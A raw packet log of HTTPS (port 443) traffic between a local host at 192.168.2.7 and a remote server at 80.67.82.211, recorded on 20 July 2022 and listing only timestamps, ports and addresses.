Jul 20, 2022 13:24:37.759845018 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.759885073 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.760376930 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.760493994 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.760533094 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.760622025 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.760890007 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.760991096 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.761493921 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.761519909 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.761694908 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.761714935 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.761729956 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.763025045 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.763062000 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.763206959 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.763227940 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.763242960 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.763250113 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.763628006 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.764066935 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.764108896 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.764169931 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.764188051 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.764199972 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.764209032 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.764280081 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.764301062 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.764336109 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.764337063 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.764342070 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.764369965 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.764868021 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.764894962 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.764997959 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.765021086 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.765044928 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.765069962 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.765247107 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.765274048 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.765372992 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.765388012 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.765407085 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.765420914 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.765479088 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.765484095 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.766124964 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.766163111 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.766269922 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.766288996 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.766303062 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.766815901 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.766840935 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.766913891 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.766951084 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.766949892 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.766968012 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.766972065 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.767066956 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.767076969 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.767081022 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.767118931 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.767163038 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.767533064 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.767559052 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.767601013 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.767635107 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.767652035 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.767663002 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.767668009 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.767731905 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.767735958 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.768091917 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.768167973 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.769457102 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.769494057 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.769565105 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.769593000 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.769613028 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.769625902 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.769654989 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.769670010 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.769972086 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.770004034 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.770097971 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.770114899 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.770128012 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.770206928 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.770327091 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.770366907 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.770380974 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.770391941 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.770396948 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.770417929 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.770775080 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.770807028 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.770860910 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.770870924 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.770930052 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.770956039 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.771003962 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.771058083 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.771079063 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.771119118 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.771127939 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.771277905 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.771374941 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.771393061 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.771421909 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.771481991 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.771502018 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.771518946 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.771547079 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.771609068 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.771636009 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.771701097 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.771714926 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.771734953 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.771776915 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.771785021 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.772245884 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.772286892 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.772389889 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.772411108 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.772469044 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.772994995 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.773077011 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.773344040 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.773370981 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.773435116 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.773456097 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.773469925 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.773498058 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.773559093 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.773597002 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.773631096 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.773643017 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.773663998 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.773695946 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.773720026 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.773747921 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.773792982 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.773807049 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.773853064 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.773858070 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.773914099 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.773955107 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.774097919 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.774112940 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.774251938 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.774323940 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.774326086 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.774375916 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.774385929 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.774724960 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.774758101 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.774812937 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.774830103 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.774848938 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.774868965 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.774882078 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.774912119 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.774990082 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.775005102 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.775013924 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.775350094 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.775374889 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.775445938 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.775463104 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.775474072 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.775479078 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.775751114 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.775834084 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.776020050 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.776045084 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.776115894 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.776114941 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.776150942 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.776160955 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.776293993 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.776369095 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.776393890 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.776413918 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.776504993 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.776524067 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.776534081 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.776545048 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.776590109 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.776875973 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.776911020 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.776987076 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.777002096 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.777182102 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.777205944 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.777209997 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.777332067 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.777344942 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.777354002 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.777407885 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.777738094 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.777764082 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.777889967 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.777906895 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.777916908 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.777925968 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.778009892 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.778203011 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.778228045 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.778275013 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.778286934 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.778290033 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.778297901 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.778302908 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.778321981 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.778362989 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.778368950 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.778378963 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.778417110 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.778420925 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.778836966 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.778861046 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.778893948 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.778927088 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.778968096 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.778985023 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.779058933 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.779088020 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.779136896 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.779366016 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.779401064 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.779439926 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.779463053 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.779465914 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.779484987 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.779517889 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.779573917 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.779575109 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.779586077 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.779593945 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.779723883 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.779748917 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.779793978 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.779799938 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.779800892 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.779809952 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.779845953 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.779880047 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.780311108 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.780334949 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.780400038 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.780416012 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.780427933 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.780435085 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.780482054 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.780566931 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.780661106 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.781579971 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.781605959 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.781728029 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.781745911 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.781754971 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.781884909 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.782056093 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.782094955 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.782099009 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.782104969 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.782134056 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.782157898 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.782174110 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.782186031 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.782206059 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.782210112 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.782226086 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.782280922 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.782313108 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.782655954 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.782682896 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.782780886 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.782793999 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.782800913 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.782908916 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.782924891 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.782934904 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.782954931 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.782991886 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.783010006 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.783052921 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.783061028 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.783072948 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.783094883 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.783154964 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.783958912 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.783981085 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.784157991 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.784173965 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.784246922 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.784310102 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.784341097 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.784393072 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.784405947 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.784421921 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.784445047 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.785610914 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.785753012 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.818909883 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.818958044 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.819123030 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.819139004 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.819199085 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.819828987 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.820018053 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.820061922 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.820142984 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.820167065 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.820204020 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.820223093 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.820734024 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.820774078 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.820857048 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.820873022 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.820916891 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.820945978 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.822248936 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.822413921 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.822427988 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.822447062 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.822470903 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.822506905 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.822537899 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.822541952 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.822557926 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.822603941 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.822614908 CEST	50601	443	192.168.2.7	80.67.82.211
